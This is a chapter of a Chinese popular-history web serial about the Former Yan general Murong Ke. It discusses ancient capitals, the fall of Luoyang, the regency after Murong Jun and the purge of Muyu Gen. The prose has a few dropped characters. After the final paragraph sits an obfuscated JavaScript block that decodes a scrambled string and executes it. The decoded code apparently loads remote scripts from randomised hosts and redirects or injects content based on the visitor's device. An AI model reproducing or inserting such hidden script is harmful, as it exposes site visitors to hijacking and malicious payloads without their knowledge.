第一章 北慕容(2 / 2)

1.南京。南京历史履历非常辉煌,东吴、东晋、南朝的宋齐梁陈四朝、五代时期的南唐、明、太平天国、民国,都曾定都于此。然而,仔细观察就会发现,在此建都的朝代大部分是割据政权且大多数是“短命王朝”。原因?

主要原因,即是地理位置及地缘关系有缺陷。缺陷有两个:一是长江河道水流不急,只要北方能组织好渡江工具,或者绕过长江入海口,从浙江、福建登陆,长江防线即形同虚设。鸦片战争时的英军能迅速陈兵南京下关江面,就是活生生的例子。二是地处江南,地势较低且缺少崇山峻岭的保护。东南面濒临东海,南面、西面均阻隔,从南面、西面的陆路进攻毫天险阻拦。因此,南京实在不能算一块易守难攻之地,作为首都,不够安全。

明朝不是割据政权也定都于此?那你得看看朱重八的老家在哪里,在凤阳,离南京不到200公里。老蒋?他的主要势力和老本都在江浙,而且仅是形式上完成统一,他不定都南京定都哪里?

2.北京。在北京定都的封建王朝有金、元、明、清,看出规律没有?四大朝代有三个是少数民族政权。唯一的一个汉人政权,还是朱棣从南京迁都到北京的。

朱棣迁都的原因,一是其本人就在北京发家的,二是明朝虽然消灭了元朝,可蒙古各个部落,依然对南下不死心,将首都定于北京,有利于强化对于北方边境的防守,这就是所谓的“天子守国门”。

可见,游牧民族最喜欢定都北京,因为这里是北方,离他们老家近,再者他们也不习惯南方的气候。可是,要知道,中华文化的发源地在哪里?黄河流域。而北京,离文明中心有些远。其更受游牧民族定都所喜爱,正印证了这一点。

3.西安。西安的短板在哪里?论是经济、文化、地理、地缘,似乎没有短板。似乎没有,但确实有。它的短板是,交通不便。一道潼关把西安锁住,但也锁住了东部经济发达地区通往关中的通道。不信?不信你就坐火车去趟西安,就什么都明白了。一路上,基本上不是在出隧道,就是在入隧道,忽明忽暗的钻了一洞又一洞,道里看车,车中看道,你分辨不出这变幻莫测的世界。出了隧道段一眼望去,那真是一道道的沟沟一道道梁,曲曲弯弯咋就这么长。这还是现代有隧道、有火车的情况下,古代全靠两脚或四蹄丈量去西安的山路,不可想象。

而洛阳呢?洛阳,关中与中原地区的纽带,唐朝著名的风水天文大师袁天罡认为,洛阳盘龙卧凤,自古就有帝王之气。而且,历史上有个奇怪的现象,定都长安的封建王朝一旦长安被攻破,统治者就会逃窜到洛阳,异常顺溜,异常丝滑,譬如汉献帝。而周平王、隋炀帝、武则天三位大佬,则干脆直接将都城从西安迁到了洛阳。

洛阳,文气极重,孔子在这里著书立说,班固、陈寿都在这里写作。还有一个大儒,在洛阳挖了个地窖,埋头爬格子近20年,终于写出了一本惊世著作—《资治通鉴。书成后两年,这个大儒也挂了,终年67岁。没,这个用生命在写作的大儒,就是小时候抡大石头砸缸勇救落缸儿童那个。

洛阳,横跨黄河中游南北两岸,周围有郁山、邙山、龙门山、嵩山等十多座山脉。境内河川密布,黄河、洛河、伊河、清河、磁河等十余条河流蜿蜒其间,分属黄河、淮河、长江三大水系,有“四面环山六水并流、八关都邑、十省通衢”之称。

洛阳,地处中原,西依秦岭,出函谷关就是关中秦川,东临嵩岳,北靠太行山且有黄河之险,南望伏牛山(秦岭山脉东段延伸的山脉之一,淮河与汉江的分水岭),真可谓“河山拱戴,形势甲于天下”。

洛阳,神都的称谓,只有你能担得起。

365年2月,慕容恪把目光瞄向了洛阳。他还为自己选择了一个攻城的好搭档—燕国吴王慕容垂,此子也系五胡十六国时代的一枚耀眼巨星,后文有叙。

这次,慕容恪没搞围观式攻城,而是直接做了攻城动员:你们不是老抱怨我不打攻城战吗?现在给你们个机会。如今,洛阳城虽然高,可守军力量不行,攻吧,谁也不许装孬种。

慕容恪为何一反常态常态?因为,情报工作给了他信心。洛阳城内的守军兵力单薄,只有500人。

前燕军刚逼近洛阳的时候,洛阳的守将还是冠军将军陈佑。陈佑的兵力也不多,只有两千人。后来陈佑也跑了,守军只剩了500人,守将换成了沈劲。

洛阳如此重镇,东晋脑子进水了,为何只派这么点儿兵力镇守?

不是不想派,是真没人愿意来。东晋内部真心北伐的人太少,都不愿到这个桥头堡、前沿阵地来冒险镇守。谁愿意整天端着饭碗都提心吊胆?

后赵皇帝石虎死后,内乱不已,东晋想乘机出兵河、洛,精挑细选,选了著名的琅琊王氏的王胡之(荆州刺史王廙之子)为西中郎将,平北将军、司州刺史,镇守洛阳。

王胡之的态度?我我,我身体不好……。不久,王胡之居然死了,也不知是病死的还是吓死的。

从此,东晋的司州刺史职位长期空缺,没人愿意干,高配到正省级待遇也不行。

即使是下节讲到的东晋枭雄桓温,也没派太多兵力来支援洛阳。也许是出于战略考虑,也许是想保存实力,他,选择驻扎在合肥,离洛阳千里之外。

危难见义,一个叫沈劲的出马了。

沈劲,字世坚,吴兴武康人,老家浙江湖州,他主动向朝廷申请,来洛阳当陈佑的副手。沈劲不仅自己去洛阳,而且,还是带着自己招募的一千多人过去的。

明知山有虎,偏向虎山行。沈劲为何有此举动?

为了洗刷耻辱,家族的耻辱。

沈劲家族的耻辱,源于其父亲。其父叫沈充,中国历史上著名的乱臣贼子之一。

了解南北朝历史的都知道东晋的王敦之乱。琅琊王氏的王敦仗着自己家族帮着司马氏建立东晋的卓越功勋,不把皇帝放在眼里,皇帝有什么事儿做的令其不满意了,经常到建康找皇帝论道论道,当然,每次都是带着兵打过来的。

沈充,就是王敦的死党。王敦最后一次找皇帝论道失败后,沈充被杀,沈劲被老乡们藏起来,躲过杀身之祸。

朝廷选中王胡之镇守洛阳后,老王不想去。不想去就不去呗,结果老王不厚道,己所不欲偏施于人,上表推荐了沈劲去。

沈劲知道,去洛阳面对慕容恪的虎狼之师,是十死生。可鉴于父亲沈充死于非义,他还是决定用生命,来洗刷家族的耻辱。他,出资招募了一千壮士,上表朝廷,主动要求去洛阳当守将、冠军将军陈佑的副手(冠军长史)。

有人愿意主动去前线,还自己带人过去,朝廷当然批准了。就这样,沈劲带着招募的一千人到了洛阳,加上陈佑的两千人,三千人还是勉强可以守城的。

然而,沈劲刚到洛阳,陈佑就跑了,而且是带着手下人跑的,理由还很充分--我去救援许昌去。

自己的活儿还没干好,还说去帮其他人干活儿的,这样的人肯定不是雷锋,而是雷克萨斯--跑路的。

陈佑跑了,而且是带人跑的,给沈劲留下了多少人?五百。

公元前480年,波斯、希腊之间的温泉关战役,成就了斯巴达300勇士的悲壮。不过这种悲壮是传奇文学和影视剧们造出来的。真相是:波斯军队虽有数十万之众(20万-50万),但希腊方面的守军绝不止300人。依据“历史之父”希罗多德的记载,希腊方面的守军共有6700人,其中有299名斯巴达皇家卫队战士,这就是斯巴达300孤军勇士的神话来源。

而沈劲,确确实实只有500人。这500人,是论如何也挡不住慕容恪的虎狼之师的。

3月,洛阳城陷落,沈劲被擒。

慕容恪见到沈劲,为其气度所折服,想收降他(恪奇而将宥之),但中军将军慕容虔劝慕容恪:劲虽奇士,观其志度,终不为人用。今若赦之,必为后患。

慕容恪想了想,还是斩了沈劲。

沈劲没有白死,他用自己的忠义洗刷了家族的耻辱,东晋朝廷解除了对沈家的禁锢,沈劲的子孙也得以入仕,成为朝廷官员。为了子孙入编政审能通过,沈劲兑上了自己的命。当今,人一旦受过刑事处罚,子孙费劲巴力的考上编制,一政审就芭比Q了。这种类似连坐的制度以后会不会有变化?拭目以待。

慕容恪夺取洛阳后,乘胜追击略地至崤、渑,兵锋直指关中地区。

此时关中地区是谁的地盘?东家是氐族人建立的前秦,话事人也是一代枭雄,名字叫苻坚。燕军兵锋实在太盛,苻坚亲自率军到陕城布防,准备亲自与大神慕容恪过过招。但不久,慕容恪就出于战略考虑率军撤回了邺城,两位大佬没交成手。

二、德、廉考核

359年12月,燕主慕容俊病危。环顾左右,慕容恪是最值得托孤的大臣。

显然,慕容俊读过六七十年前成书的一本历史巨著-《三国志,知道刘备玩的托孤诸葛亮的那一出戏效果极佳,就照抄了一遍。

慕容俊:我已病入膏肓,自知将不久于人世,人命天定,没什么可怨恨的。但现在,我大燕形势未定(分析了一下,燕国当时的劲敌主要是前秦和东晋),太子又年幼能力不行,我就把社稷托付给你吧。

慕容恪显然也读过这一段,配合的很好:不行不行(估计还得装作很急的样子双手直摆)!正统不能乱!太子虽然年幼,但是跟您一样天赋极高,定能担当天子之任。

慕容俊怒道(心里笑出声):你我兄弟之间用的着虚伪客套吗?大燕就给你了!

慕容恪:若陛下看得起我慕容恪,认为我有能力担任托孤大臣,我怎么能不殚精竭虑的辅佐少主?您就放心好了!

慕容俊达到试探的目的,满面溢光,大有回光返照之意:有你担当托孤大臣,如周公一样辅佐少主,我还担心什么!

360年正月,慕容俊放心的闭了眼,年仅10岁的太子慕容暐即位。辅政大臣有四:太宰慕容恪,辅臣之首,负责处理朝政大事。太傅慕容评、太保阳骛、太师慕舆根,参辅朝政。

除了辅政BIG4,还有一个不可忽视的人。此人虽不是辅臣,可身份特殊,在前燕的政事中起着极其重要的作用。

慕容暐的老妈,太后可足浑氏。

皇帝年幼,辅政BIG4加上太后可足浑氏的组团执政,能使大燕帝国的政治机器丝滑的运转吗?

基于历史文化的不同,欧洲自奴隶制社会中就有民主政治。譬如,雅典的民主制。而在中国奴隶社会、封建社会历史上,但凡是组团执政的,定有不消停的人在其中捣乱,哪怕是上层小范围的民主都很难行通。究其原因,不外乎是,经济基础决定上层建筑。

雅典位于中东和欧洲之交,三面临海,商业活动十分活跃,人员流动相对较大。流动人口、商业活动怎么管?协商。

这个很好理解,中国目前能自发诞生的自律、自管、自己解决纠纷的组织是什么?就是商人们的商会,你因与朋友产生经济纠纷而花高价钱去搞仲裁的仲裁院,其实就源于这种商会。由自发性的民间组织商会,演化成能制作具有司法强制执行力仲裁裁决的准司法机构,没想到吧?所以,以商业为中心的雅典能诞生民主政治,哪怕它处于奴隶制社会。

而中国呢?奴隶制社会、封建制社会的中国的经济形式,除了种地就是放牧,士、农、工、商,商排末位,商业不发达。种地的农耕文明,除了逃荒外人口基本不流动,定居,于是安分定居的一群人逐渐形成了村落、城市。安分定居的人定向繁衍,形成了血缘宗法关系,家长说了算,族长说了算,逐渐到全国的家长--皇帝说了算。

而放牧的游牧民族呢?虽然为了追逐丰美的水草,人口流动大些,可那也是整体流动,整个族群流动,不像商业社会中一个人揣着钱到处出溜。另外,为了与外族打仗抢草地,更需要一个强有力的领袖领导、指挥族群,而不是诞生一个“元老院”一群人七嘴八舌的商量着来。

因此,中国奴隶制社会、封建制社会没有民主的土壤,哪怕是稍微带点民主色彩的禅让制,也只经过了尧、舜、禹三代传承,就被禹的儿子启一权杖给打的粉碎。

辅政BIG4加上太后可足浑氏的组团执政,也遇到了严峻的挑战,执政集团中有个人公然破坏组团制,逼着慕容恪搞独裁。

此人就是,太师慕舆根。

人与人一旦地位相似,就容易产生比较长短之心,这是灵长目群居动物所特有的心性。都是先朝重臣,慕舆根既不服慕容恪为辅臣之首,又不服太后可足浑氏常干预政事,对两者都看不顺眼。

慕容恪权威甚重?正好可利用一下。

某日,酒宴上,慕舆根点炮慕容恪:当今皇上年幼,太后啥也不懂还老干预政事,当年西晋的辅政大臣杨骏,是如何被皇后贾南风弄死的,还记得吧?大燕有今天之格局,你居功至伟,再说,兄终弟及也是有理论依据的,不如你废掉幼主当皇帝,我们都支持你。

慕容恪一个激楞:喝多了你?当今大燕四海一平,你我都是先帝看重的宰辅之臣,怎能有此想法?忘了先帝之言了?!

慕舆根悻悻而退。

慕容恪为人厚道,没有将此事捅给太后,却告诉了自己最为看重的一个心腹。此人,就是慕容垂,后来延续大燕命脉者。慕容垂,人狠话也不少,劝慕容恪趁机诛杀慕舆根。慕容恪则以大局为重,没有同意。

慕容恪暂时放过了慕舆根,慕舆根却并没有消停。他向太后可足浑氏和燕少主慕容暐请示:太宰慕容恪、太傅慕容评将图谋不轨,请准我率御林军诛之。

太后可足浑氏?居然同意了,典型的头发长脑回路短。

幸亏,皇帝慕容暐年龄虽小可并不糊涂,极力反对:太宰慕容恪、太傅慕容评,先朝重臣,而且是宗室本家。老爸亲自挑选辅佐我的,怎么能作乱?

另外,慕容暐还缀上一句更狠的:恐怕是太师你,有别的想法吧?!

慕容暐心里明白,以慕容恪的权威军威,要反早就反了。再看太傅慕容评,他本来就位极人臣,冒着杀头的危险造反换个差不多的职位,傻子?辅臣的老三告辅臣的老大、老二谋反,意图不是很明显?

这种智商税,慕容暐是不想交的。

两次挑事儿不成,慕舆根并未停止折腾,最终令慕容恪实在忍可忍。

某日,慕舆根面见太后可足浑氏和慕容暐:如今中原萧条,强敌环伺,国家说不定哪天就没了,我们不如回鲜卑的故土。

关于慕舆根的动机,司马懿的后代写的《资治通鉴上说是其思恋故土,然而,这说法实在是大大的可疑。

细究崛起于东北的少数民族政权,有个不同于其他少数民族政权的特点,那就是极其重视老家的建设,即使逐鹿中原后在中原站稳了脚跟,也不忘把东北老家打造成乱世避难所。最典型的就是满清政府,极其重视龙兴之地东北的建设,其他地方设置的是巡抚、总督,满族人汉人皆可担任。在东北设置的则是宁古塔将军、辽东将军、黑龙江将军、盛京将军等,只有旗人才能担任,而且必须是皇帝的心腹。1668年,为了防止汉人入关稀释旗人人口,满清政府更是直接下达了禁封政策,禁止汉人入关,这个政策一直施行了两百多年。

鲜卑政权在中原一有难就想逃回东北老家的史实,不止发生了一例,后文都会陆续提到。可那都是有难的情况下,而目前大燕在慕容恪的一手打造下,在中原的影响力如日中天,这时跑回老家干什么?中原的繁华、适宜的气候,实在是一入冬就动辄零下十几度几十度的东北所不能比,慕舆根在烟花柳巷的中原当三公当腻歪了,想回寒凉的北国当放羊的头儿去?

因此,《资治通鉴所谓的慕舆根思恋故土的说法,实在经不起推敲。综合慕舆根之前表现来看,其动机应该还是想趁乱篡位,想在流动中浑水摸鱼趁机另立中央。

不管什么动机,慕容恪为前燕的稳定和谐局面着想,已实在不能容忍慕舆根一二再、再而三的整事儿。

要想做好老大,境界、能力、手段三者缺一不可。境界是降服高手的,能力是降服普通人的,而手段,是降服小人的。

慕容恪与慕容评一商量,上报慕舆根的罪状后,派侍中皇甫真、护军傅颜将慕舆根及其老婆孩子、心腹同党统统抓获,全部处决。

慕舆根终于“折腾死”。

新皇帝刚登基,就有前朝重臣被诛,前燕一时人心惶惶,暗流涌动。为安定人心,慕容恪表现出了“影帝”本色。

除掉慕舆根后,慕容恪每次出入朝堂、府邸,都是一个人,不带任何护卫。言谈举止神情,与以往没有任何不同。部下劝慕容恪在非常时期应加强护卫力量,慕容影帝说:发生了这档子事,朝廷内外人心惶惶也是正常的,如果我作为朝臣之首这时都h不住,政局还能稳定?

果然,因慕容恪h的住,坦诚、坦荡,前燕诸方势力情绪也都逐渐稳定下来,大燕帝国的政治机器又恢复了正常的运转。

三、组织能力考察

作为前燕的宰辅大臣,慕容恪一直在寻找能为前燕所用的可造之材。他最为看重的人,就是吴王慕容垂。

352年,前燕皇帝慕容俊尚在世时,慕容恪便联合抚军将军慕容军、左将军慕容彪,共同向慕容俊举荐慕容垂,慕容垂得以升迁为为安东将军、北冀州剌史,镇常山。

360年3月,慕容恪平定慕舆根之乱后,任命慕容垂为征南将军、都督河南诸军事、兖州牧、荆州刺史,镇梁国之蠡台。

慕容恪攻打完洛阳回军时,又任命慕容垂为都督荆、扬、洛、徐、兖、豫、雍、益、凉、秦十州诸军事、征南大将军、荆州牧,镇鲁阳。

慕容恪还时常向幼主慕容暐举荐:吴王慕容垂之才,强我十倍。先帝不过是看我比其年长,才先任命我为宰辅,等我死后,慕容垂可接宰辅之职。

366年7月19日,十六国第一名将慕容恪病逝,临终前,前燕皇帝慕容暐亲临病床前,慰问并问之以后事。

少主权威尚未树立,前秦、东晋又虎视眈眈,国家局势未稳,慕容恪深忧之,再次向慕容暐推荐慕容垂作为自己的接班人:臣闻报恩莫大荐士,吴王经天纬地之才,文武兼备,管仲、萧何一样的人物,若有他辅佐,国之幸甚,不然,我怕前秦、东晋必觊觎我大燕江山。

慕容恪言终而卒,年仅45岁。

慕容恪一生纵横北国,击石虎、袭麻秋、扫宇文、震高丽、平扶余、灭冉魏、困广固、拔洛阳,见证和造就了前燕的由弱变强。辅佐幼主,行周霍之行,有诸葛孔明之风,十六国第一名臣当之愧!

慕容俊死时,东晋诸臣弹冠相庆,都认为有机可乘(中原可图矣)。只有一名枭雄头脑清醒:慕容恪尚存,所忧方为大尔!此枭雄,下一章有专述。

斗转星移、逝者如斯,慕容恪虽英年早逝,可历史永远记住了这位十六国第一名臣:

王猛:慕容玄恭信奇士也,可谓古之遗爱矣!

崔浩:慕容恪之辅少主,慕容暐之霍光也;

王夫之:五胡…其能有人之心而因以自全者,唯慕容恪乎!..呜呼!恻悱之言,自其中发,功成而人免于死,恪可不谓夷中之铮铮者乎!

陈普:

霜雹风沙杂乱飞,段龛地下见春归。

时来但处周公位,历举华人百世希。

慕容恪去世后,前燕也开始逐渐没落。虽然其泣血荐吴王,慕容垂在其推荐下,在一定时期也受到过重用。然而,太后可足浑氏一直对慕容垂不感冒,慕容评等人也妒忌慕容垂的战功,特别是在击败北伐的桓温后(后叙),慕容垂在前燕居然落得个立锥之地,回东北老家也不得,只得投奔前秦。

而慕容垂出走后,前燕也很快便被前秦所灭。

直至淝水之战后,慕容垂才又纠集鲜卑慕容部族,重建大燕国,建都中山,史称后燕,并于394年基本统一关东,虽于397年战败退出中原,但仍展示了卓越的军事和政治才能,足见当年慕容恪之慧眼识人。

慕容恪之于慕容垂,若拿古人作比较,诸葛孔明之于姜伯约;若拿现代人作比较,周公之于邓公。你觉得呢?

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();